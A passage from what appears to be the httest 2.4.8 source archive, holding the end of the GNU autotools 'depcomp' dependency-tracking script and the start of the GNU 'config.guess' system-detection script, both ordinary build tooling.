gccflag=-MD, fi "$@" -Wp,"$gccflag$tmpdepfile" stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile" exit $stat fi rm -f "$depfile" echo "$object : \\" > "$depfile" alpha=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ## The second -e expression handles DOS-style file names with drive letters. sed -e 's/^[^:]*: / /' \ -e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile" ## This next piece of magic avoids the "deleted header file" problem. ## The problem is that when a header file which appears in a .P file ## is deleted, the dependency causes make to die (because there is ## typically no way to rebuild the header). We avoid this by adding ## dummy dependencies for each header file. Too bad gcc doesn't do ## this for us directly. tr ' ' "$nl" < "$tmpdepfile" | ## Some versions of gcc put a space before the ':'. On the theory ## that the space means something, we add a space to the output as ## well. hp depmode also adds that space, but also prefixes the VPATH ## to the object. Take care to not repeat it in the output. ## Some versions of the HPUX 10.20 sed can't process this invocation ## correctly. Breaking it into two sed invocations is a workaround. sed -e 's/^\\$//' -e '/^$/d' -e "s|.*$object$||" -e '/:$/d' \ | sed -e 's/$/ :/' >> "$depfile" rm -f "$tmpdepfile" ;; hp) # This case exists only to let depend.m4 do its work. It works by # looking at the text of this script. This case will never be run, # since it is checked for above. exit 1 ;; sgi) if test "$libtool" = yes; then "$@" "-Wp,-MDupdate,$tmpdepfile" else "$@" -MDupdate "$tmpdepfile" fi stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile" exit $stat fi rm -f "$depfile" if test -f "$tmpdepfile"; then # yes, the sourcefile depend on other files echo "$object : \\" > "$depfile" # Clip off the initial element (the dependent). Don't try to be # clever and replace this with sed code, as IRIX sed won't handle # lines with more than a fixed number of characters (4096 in # IRIX 6.2 sed, 8192 in IRIX 6.5). We also remove comment lines; # the IRIX cc adds comments like '#:fec' to the end of the # dependency line. tr ' ' "$nl" < "$tmpdepfile" \ | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' | \ tr "$nl" ' ' >> "$depfile" echo >> "$depfile" # The second pass generates a dummy entry for each header file. tr ' ' "$nl" < "$tmpdepfile" \ | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \ >> "$depfile" else # The sourcefile does not contain any dependencies, so just # store a dummy comment line, to avoid errors with the Makefile # "include basename.Plo" scheme. echo "#dummy" > "$depfile" fi rm -f "$tmpdepfile" ;; xlc) # This case exists only to let depend.m4 do its work. It works by # looking at the text of this script. This case will never be run, # since it is checked for above. exit 1 ;; aix) # The C for AIX Compiler uses -M and outputs the dependencies # in a .u file. In older versions, this file always lives in the # current directory. Also, the AIX compiler puts '$object:' at the # start of each line; $object doesn't have directory information. # Version 6 uses the directory in both cases. dir=`echo "$object" | sed -e 's|/[^/]*$|/|'` test "x$dir" = "x$object" && dir= base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'` if test "$libtool" = yes; then tmpdepfile1=$dir$base.u tmpdepfile2=$base.u tmpdepfile3=$dir.libs/$base.u "$@" -Wc,-M else tmpdepfile1=$dir$base.u tmpdepfile2=$dir$base.u tmpdepfile3=$dir$base.u "$@" -M fi stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" exit $stat fi for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" do test -f "$tmpdepfile" && break done if test -f "$tmpdepfile"; then # Each line is of the form 'foo.o: dependent.h'. # Do two passes, one to just change these to # '$object: dependent.h' and one to simply 'dependent.h:'. sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile" sed -e 's,^.*\.[a-z]*:['"$tab"' ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile" else # The sourcefile does not contain any dependencies, so just # store a dummy comment line, to avoid errors with the Makefile # "include basename.Plo" scheme. echo "#dummy" > "$depfile" fi rm -f "$tmpdepfile" ;; icc) # Intel's C compiler anf tcc (Tiny C Compiler) understand '-MD -MF file'. # However on # $CC -MD -MF foo.d -c -o sub/foo.o sub/foo.c # ICC 7.0 will fill foo.d with something like # foo.o: sub/foo.c # foo.o: sub/foo.h # which is wrong. We want # sub/foo.o: sub/foo.c # sub/foo.o: sub/foo.h # sub/foo.c: # sub/foo.h: # ICC 7.1 will output # foo.o: sub/foo.c sub/foo.h # and will wrap long lines using '\': # foo.o: sub/foo.c ... \ # sub/foo.h ... \ # ... # tcc 0.9.26 (FIXME still under development at the moment of writing) # will emit a similar output, but also prepend the continuation lines # with horizontal tabulation characters. "$@" -MD -MF "$tmpdepfile" stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile" exit $stat fi rm -f "$depfile" # Each line is of the form 'foo.o: dependent.h', # or 'foo.o: dep1.h dep2.h \', or ' dep3.h dep4.h \'. # Do two passes, one to just change these to # '$object: dependent.h' and one to simply 'dependent.h:'. sed -e "s/^[ $tab][ $tab]*/ /" -e "s,^[^:]*:,$object :," \ < "$tmpdepfile" > "$depfile" sed ' s/[ '"$tab"'][ '"$tab"']*/ /g s/^ *// s/ *\\*$// s/^[^:]*: *// /^$/d /:$/d s/$/ :/ ' < "$tmpdepfile" >> "$depfile" rm -f "$tmpdepfile" ;; hp2) # The "hp" stanza above does not work with aCC (C++) and HP's ia64 # compilers, which have integrated preprocessors. The correct option # to use with these is +Maked; it writes dependencies to a file named # 'foo.d', which lands next to the object file, wherever that # happens to be. # Much of this is similar to the tru64 case; see comments there. dir=`echo "$object" | sed -e 's|/[^/]*$|/|'` test "x$dir" = "x$object" && dir= base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'` if test "$libtool" = yes; then tmpdepfile1=$dir$base.d tmpdepfile2=$dir.libs/$base.d "$@" -Wc,+Maked else tmpdepfile1=$dir$base.d tmpdepfile2=$dir$base.d "$@" +Maked fi stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile1" "$tmpdepfile2" exit $stat fi for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" do test -f "$tmpdepfile" && break done if test -f "$tmpdepfile"; then sed -e "s,^.*\.[a-z]*:,$object:," "$tmpdepfile" > "$depfile" # Add 'dependent.h:' lines. sed -ne '2,${ s/^ *// s/ \\*$// s/$/:/ p }' "$tmpdepfile" >> "$depfile" else echo "#dummy" > "$depfile" fi rm -f "$tmpdepfile" "$tmpdepfile2" ;; tru64) # The Tru64 compiler uses -MD to generate dependencies as a side # effect. 'cc -MD -o foo.o ...' puts the dependencies into 'foo.o.d'. # At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put # dependencies in 'foo.d' instead, so we check for that too. # Subdirectories are respected. dir=`echo "$object" | sed -e 's|/[^/]*$|/|'` test "x$dir" = "x$object" && dir= base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'` if test "$libtool" = yes; then # With Tru64 cc, shared objects can also be used to make a # static library. This mechanism is used in libtool 1.4 series to # handle both shared and static libraries in a single compilation. # With libtool 1.4, dependencies were output in $dir.libs/$base.lo.d. # # With libtool 1.5 this exception was removed, and libtool now # generates 2 separate objects for the 2 libraries. These two # compilations output dependencies in $dir.libs/$base.o.d and # in $dir$base.o.d. We have to check for both files, because # one of the two compilations can be disabled. We should prefer # $dir$base.o.d over $dir.libs/$base.o.d because the latter is # automatically cleaned when .libs/ is deleted, while ignoring # the former would cause a distcleancheck panic. tmpdepfile1=$dir.libs/$base.lo.d # libtool 1.4 tmpdepfile2=$dir$base.o.d # libtool 1.5 tmpdepfile3=$dir.libs/$base.o.d # libtool 1.5 tmpdepfile4=$dir.libs/$base.d # Compaq CCC V6.2-504 "$@" -Wc,-MD else tmpdepfile1=$dir$base.o.d tmpdepfile2=$dir$base.d tmpdepfile3=$dir$base.d tmpdepfile4=$dir$base.d "$@" -MD fi stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4" exit $stat fi for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4" do test -f "$tmpdepfile" && break done if test -f "$tmpdepfile"; then sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile" sed -e 's,^.*\.[a-z]*:['"$tab"' ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile" else echo "#dummy" > "$depfile" fi rm -f "$tmpdepfile" ;; msvc7) if test "$libtool" = yes; then showIncludes=-Wc,-showIncludes else showIncludes=-showIncludes fi "$@" $showIncludes > "$tmpdepfile" stat=$? grep -v '^Note: including file: ' "$tmpdepfile" if test "$stat" = 0; then : else rm -f "$tmpdepfile" exit $stat fi rm -f "$depfile" echo "$object : \\" > "$depfile" # The first sed program below extracts the file names and escapes # backslashes for cygpath. The second sed program outputs the file # name when reading, but also accumulates all include files in the # hold buffer in order to output them again at the end. This only # works with sed implementations that can handle large buffers. sed < "$tmpdepfile" -n ' /^Note: including file: *\(.*\)/ { s//\1/ s/\\/\\\\/g p }' | $cygpath_u | sort -u | sed -n ' s/ /\\ /g s/\(.*\)/'"$tab"'\1 \\/p s/.\(.*\) \\/\1:/ H $ { s/.*/'"$tab"'/ G p }' >> "$depfile" rm -f "$tmpdepfile" ;; msvc7msys) # This case exists only to let depend.m4 do its work. It works by # looking at the text of this script. This case will never be run, # since it is checked for above. exit 1 ;; #nosideeffect) # This comment above is used by automake to tell side-effect # dependency tracking mechanisms from slower ones. dashmstdout) # Important note: in order to support this mode, a compiler *must* # always write the preprocessed file to stdout, regardless of -o. "$@" || exit $? # Remove the call to Libtool. if test "$libtool" = yes; then while test "X$1" != 'X--mode=compile'; do shift done shift fi # Remove '-o $object'. IFS=" " for arg do case $arg in -o) shift ;; $object) shift ;; *) set fnord "$@" "$arg" shift # fnord shift # $arg ;; esac done test -z "$dashmflag" && dashmflag=-M # Require at least two characters before searching for ':' # in the target name. This is to cope with DOS-style filenames: # a dependency such as 'c:/foo/bar' could be seen as target 'c' otherwise. "$@" $dashmflag | sed 's:^['"$tab"' ]*[^:'"$tab"' ][^:][^:]*\:['"$tab"' ]*:'"$object"'\: :' > "$tmpdepfile" rm -f "$depfile" cat < "$tmpdepfile" > "$depfile" tr ' ' "$nl" < "$tmpdepfile" | \ ## Some versions of the HPUX 10.20 sed can't process this invocation ## correctly. Breaking it into two sed invocations is a workaround. sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile" rm -f "$tmpdepfile" ;; dashXmstdout) # This case only exists to satisfy depend.m4. It is never actually # run, as this mode is specially recognized in the preamble. exit 1 ;; makedepend) "$@" || exit $? # Remove any Libtool call if test "$libtool" = yes; then while test "X$1" != 'X--mode=compile'; do shift done shift fi # X makedepend shift cleared=no eat=no for arg do case $cleared in no) set ""; shift cleared=yes ;; esac if test $eat = yes; then eat=no continue fi case "$arg" in -D*|-I*) set fnord "$@" "$arg"; shift ;; # Strip any option that makedepend may not understand. Remove # the object too, otherwise makedepend will parse it as a source file. -arch) eat=yes ;; -*|$object) ;; *) set fnord "$@" "$arg"; shift ;; esac done obj_suffix=`echo "$object" | sed 's/^.*\././'` touch "$tmpdepfile" ${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@" rm -f "$depfile" # makedepend may prepend the VPATH from the source file name to the object. # No need to regex-escape $object, excess matching of '.' is harmless. sed "s|^.*\($object *:\)|\1|" "$tmpdepfile" > "$depfile" sed '1,2d' "$tmpdepfile" | tr ' ' "$nl" | \ ## Some versions of the HPUX 10.20 sed can't process this invocation ## correctly. Breaking it into two sed invocations is a workaround. sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile" rm -f "$tmpdepfile" "$tmpdepfile".bak ;; cpp) # Important note: in order to support this mode, a compiler *must* # always write the preprocessed file to stdout. "$@" || exit $? # Remove the call to Libtool. if test "$libtool" = yes; then while test "X$1" != 'X--mode=compile'; do shift done shift fi # Remove '-o $object'. IFS=" " for arg do case $arg in -o) shift ;; $object) shift ;; *) set fnord "$@" "$arg" shift # fnord shift # $arg ;; esac done "$@" -E | sed -n -e '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \ -e '/^#line [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' | sed '$ s: \\$::' > "$tmpdepfile" rm -f "$depfile" echo "$object : \\" > "$depfile" cat < "$tmpdepfile" >> "$depfile" sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile" rm -f "$tmpdepfile" ;; msvisualcpp) # Important note: in order to support this mode, a compiler *must* # always write the preprocessed file to stdout. "$@" || exit $? # Remove the call to Libtool. if test "$libtool" = yes; then while test "X$1" != 'X--mode=compile'; do shift done shift fi IFS=" " for arg do case "$arg" in -o) shift ;; $object) shift ;; "-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI") set fnord "$@" shift shift ;; *) set fnord "$@" "$arg" shift shift ;; esac done "$@" -E 2>/dev/null | sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::\1:p' | $cygpath_u | sort -u > "$tmpdepfile" rm -f "$depfile" echo "$object : \\" > "$depfile" sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::'"$tab"'\1 \\:p' >> "$depfile" echo "$tab" >> "$depfile" sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::\1\::p' >> "$depfile" rm -f "$tmpdepfile" ;; msvcmsys) # This case exists only to let depend.m4 do its work. It works by # looking at the text of this script. This case will never be run, # since it is checked for above. exit 1 ;; none) exec "$@" ;; *) echo "Unknown depmode $depmode" 1>&2 exit 1 ;; esac exit 0 # Local Variables: # mode: shell-script # sh-indentation: 2 # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "scriptversion=" # time-stamp-format: "%:y-%02m-%02d.%02H" # time-stamp-time-zone: "UTC" # time-stamp-end: "; # UTC" # End: httest-2.4.8/config/config.guess0000755000175100017510000012743211772274120013564 00000000000000#! /bin/sh # Attempt to guess a canonical system name. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, # 2011, 2012 Free Software Foundation, Inc. timestamp='2012-02-10' # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, see . # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Originally written by Per Bothner. Please send patches (context # diff format) to and include a ChangeLog # entry. # # This script attempts to guess a canonical system name similar to # config.sub. If it succeeds, it prints the system name on stdout, and # exits with 0. Otherwise, it exits with 1. # # You can get the latest version of this script from: # http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.guess;hb=HEAD me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] Output the configuration name of the system \`$me' is run on. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.guess ($timestamp) Originally written by Per Bothner. Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit ;; --version | -v ) echo "$version" ; exit ;; --help | --h* | -h ) echo "$usage"; exit ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" >&2 exit 1 ;; * ) break ;; esac done if test $# != 0; then echo "$me: too many arguments$help" >&2 exit 1 fi trap 'exit 1' 1 2 15 # CC_FOR_BUILD -- compiler used by this script. Note that the use of a # compiler to aid in system detection is discouraged as it requires # temporary files to be created and, as you can see below, it is a # headache to deal with in a portable fashion. # Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still # use `HOST_CC' if defined, but it is deprecated. # Portable tmp directory creation inspired by the Autoconf team. set_cc_for_build=' trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ; trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ; : ${TMPDIR=/tmp} ; { tmp=`(umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } || { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } || { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } || { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ; dummy=$tmp/dummy ; tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ; case $CC_FOR_BUILD,$HOST_CC,$CC in ,,) echo "int x;" > $dummy.c ; for c in cc gcc c89 c99 ; do if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then CC_FOR_BUILD="$c"; break ; fi ; done ; if test x"$CC_FOR_BUILD" = x ; then CC_FOR_BUILD=no_compiler_found ; fi ;; ,,*) CC_FOR_BUILD=$CC ;; ,*,*) CC_FOR_BUILD=$HOST_CC ;; esac ; set_cc_for_build= ;' # This is needed to find uname on a Pyramid OSx when run in the BSD universe. # (ghazi@noc.rutgers.edu 1994-08-24) if (test -f /.attbin/uname) >/dev/null 2>&1 ; then PATH=$PATH:/.attbin ; export PATH fi UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown # Note: order is significant - the case branches are not exclusive. case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in *:NetBSD:*:*) # NetBSD (nbsd) targets should (where applicable) match one or # more of the tuples: *-*-netbsdelf*, *-*-netbsdaout*, # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently # switched to ELF, *-*-netbsd* would select the old # object file format. This provides both forward # compatibility and a consistent mechanism for selecting the # object file format. # # Note: NetBSD doesn't particularly care about the vendor # portion of the name. We always set it to "unknown". sysctl="sysctl -n hw.machine_arch" UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \ /usr/sbin/$sysctl 2>/dev/null || echo unknown)` case "${UNAME_MACHINE_ARCH}" in armeb) machine=armeb-unknown ;; arm*) machine=arm-unknown ;; sh3el) machine=shl-unknown ;; sh3eb) machine=sh-unknown ;; sh5el) machine=sh5le-unknown ;; *) machine=${UNAME_MACHINE_ARCH}-unknown ;; esac # The Operating System including object format, if it has switched # to ELF recently, or will in the future. case "${UNAME_MACHINE_ARCH}" in arm*|i386|m68k|ns32k|sh3*|sparc|vax) eval $set_cc_for_build if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ | grep -q __ELF__ then # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). # Return netbsd for either. FIX? os=netbsd else os=netbsdelf fi ;; *) os=netbsd ;; esac # The OS release # Debian GNU/NetBSD machines have a different userland, and # thus, need a distinct triplet. However, they do not need # kernel version information, so it can be replaced with a # suitable tag, in the style of linux-gnu. case "${UNAME_VERSION}" in Debian*) release='-gnu' ;; *) release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` ;; esac # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: # contains redundant information, the shorter form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. echo "${machine}-${os}${release}" exit ;; *:OpenBSD:*:*) UNAME_MACHINE_ARCH=`arch | sed 's/OpenBSD.//'` echo ${UNAME_MACHINE_ARCH}-unknown-openbsd${UNAME_RELEASE} exit ;; *:ekkoBSD:*:*) echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE} exit ;; *:SolidBSD:*:*) echo ${UNAME_MACHINE}-unknown-solidbsd${UNAME_RELEASE} exit ;; macppc:MirBSD:*:*) echo powerpc-unknown-mirbsd${UNAME_RELEASE} exit ;; *:MirBSD:*:*) echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE} exit ;; alpha:OSF1:*:*) case $UNAME_RELEASE in *4.0) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` ;; *5.*) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'` ;; esac # According to Compaq, /usr/sbin/psrinfo has been available on # OSF/1 and Tru64 systems produced since 1995. I hope that # covers most systems running today. This code pipes the CPU # types through head -n 1, so we only detect the type of CPU 0. ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` case "$ALPHA_CPU_TYPE" in "EV4 (21064)") UNAME_MACHINE="alpha" ;; "EV4.5 (21064)") UNAME_MACHINE="alpha" ;; "LCA4 (21066/21068)") UNAME_MACHINE="alpha" ;; "EV5 (21164)") UNAME_MACHINE="alphaev5" ;; "EV5.6 (21164A)") UNAME_MACHINE="alphaev56" ;; "EV5.6 (21164PC)") UNAME_MACHINE="alphapca56" ;; "EV5.7 (21164PC)") UNAME_MACHINE="alphapca57" ;; "EV6 (21264)") UNAME_MACHINE="alphaev6" ;; "EV6.7 (21264A)") UNAME_MACHINE="alphaev67" ;; "EV6.8CB (21264C)") UNAME_MACHINE="alphaev68" ;; "EV6.8AL (21264B)") UNAME_MACHINE="alphaev68" ;; "EV6.8CX (21264D)") UNAME_MACHINE="alphaev68" ;; "EV6.9A (21264/EV69A)") UNAME_MACHINE="alphaev69" ;; "EV7 (21364)") UNAME_MACHINE="alphaev7" ;; "EV7.9 (21364A)") UNAME_MACHINE="alphaev79" ;; esac # A Pn.n version is a patched version. # A Vn.n version is a released version. # A Tn.n version is a released field test version. # A Xn.n version is an unreleased experimental baselevel. # 1.2 uses "1.2" for uname -r. echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` # Reset EXIT trap before exiting to avoid spurious non-zero exit code. exitcode=$? trap '' 0 exit $exitcode ;; Alpha\ *:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # Should we change UNAME_MACHINE based on the output of uname instead # of the specific Alpha model? echo alpha-pc-interix exit ;; 21064:Windows_NT:50:3) echo alpha-dec-winnt3.5 exit ;; Amiga*:UNIX_System_V:4.0:*) echo m68k-unknown-sysv4 exit ;; *:[Aa]miga[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-amigaos exit ;; *:[Mm]orph[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-morphos exit ;; *:OS/390:*:*) echo i370-ibm-openedition exit ;; *:z/VM:*:*) echo s390-ibm-zvmoe exit ;; *:OS400:*:*) echo powerpc-ibm-os400 exit ;; arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) echo arm-acorn-riscix${UNAME_RELEASE} exit ;; arm:riscos:*:*|arm:RISCOS:*:*) echo arm-unknown-riscos exit ;; SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) echo hppa1.1-hitachi-hiuxmpp exit ;; Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. if test "`(/bin/universe) 2>/dev/null`" = att ; then echo pyramid-pyramid-sysv3 else echo pyramid-pyramid-bsd fi exit ;; NILE*:*:*:dcosx) echo pyramid-pyramid-svr4 exit ;; DRS?6000:unix:4.0:6*) echo sparc-icl-nx6 exit ;; DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*) case `/usr/bin/uname -p` in sparc) echo sparc-icl-nx7; exit ;; esac ;; s390x:SunOS:*:*) echo ${UNAME_MACHINE}-ibm-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4H:SunOS:5.*:*) echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; i86pc:AuroraUX:5.*:* | i86xen:AuroraUX:5.*:*) echo i386-pc-auroraux${UNAME_RELEASE} exit ;; i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*) eval $set_cc_for_build SUN_ARCH="i386" # If there is a compiler, see if it is configured for 64-bit objects. # Note that the Sun cc does not turn __LP64__ into 1 like gcc does. # This test works for both compilers. if [ "$CC_FOR_BUILD" != 'no_compiler_found' ]; then if (echo '#ifdef __amd64'; echo IS_64BIT_ARCH; echo '#endif') | \ (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | \ grep IS_64BIT_ARCH >/dev/null then SUN_ARCH="x86_64" fi fi echo ${SUN_ARCH}-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:6*:*) # According to config.sub, this is the proper way to canonicalize # SunOS6. Hard to guess exactly what SunOS6 will be like, but # it's likely to be more like Solaris than SunOS4. echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:*:*) case "`/usr/bin/arch -k`" in Series*|S4*) UNAME_RELEASE=`uname -v` ;; esac # Japanese Language versions have a version number like `4.1.3-JL'. echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` exit ;; sun3*:SunOS:*:*) echo m68k-sun-sunos${UNAME_RELEASE} exit ;; sun*:*:4.2BSD:*) UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 case "`/bin/arch`" in sun3) echo m68k-sun-sunos${UNAME_RELEASE} ;; sun4) echo sparc-sun-sunos${UNAME_RELEASE} ;; esac exit ;; aushp:SunOS:*:*) echo sparc-auspex-sunos${UNAME_RELEASE} exit ;; # The situation for MiNT is a little confusing. The machine name # can be virtually everything (everything which is not # "atarist" or "atariste" at least should have a processor # > m68000). The system name ranges from "MiNT" over "FreeMiNT" # to the lowercase version "mint" (or "freemint"). Finally # the system name "TOS" denotes a system which is actually not # MiNT. But MiNT is downward compatible to TOS, so this should # be no problem. atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) echo m68k-milan-mint${UNAME_RELEASE} exit ;; hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) echo m68k-hades-mint${UNAME_RELEASE} exit ;; *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) echo m68k-unknown-mint${UNAME_RELEASE} exit ;; m68k:machten:*:*) echo m68k-apple-machten${UNAME_RELEASE} exit ;; powerpc:machten:*:*) echo powerpc-apple-machten${UNAME_RELEASE} exit ;; RISC*:Mach:*:*) echo mips-dec-mach_bsd4.3 exit ;; RISC*:ULTRIX:*:*) echo mips-dec-ultrix${UNAME_RELEASE} exit ;; VAX*:ULTRIX*:*:*) echo vax-dec-ultrix${UNAME_RELEASE} exit ;; 2020:CLIX:*:* | 2430:CLIX:*:*) echo clipper-intergraph-clix${UNAME_RELEASE} exit ;; mips:*:*:UMIPS | mips:*:*:RISCos) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #ifdef __cplusplus #include /* for printf() prototype */ int main (int argc, char *argv[]) { #else int main (argc, argv) int argc; char *argv[]; { #endif #if defined (host_mips) && defined (MIPSEB) #if defined (SYSTYPE_SYSV) printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_SVR4) printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); #endif #endif exit (-1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && dummyarg=`echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` && SYSTEM_NAME=`$dummy $dummyarg` && { echo "$SYSTEM_NAME"; exit; } echo mips-mips-riscos${UNAME_RELEASE} exit ;; 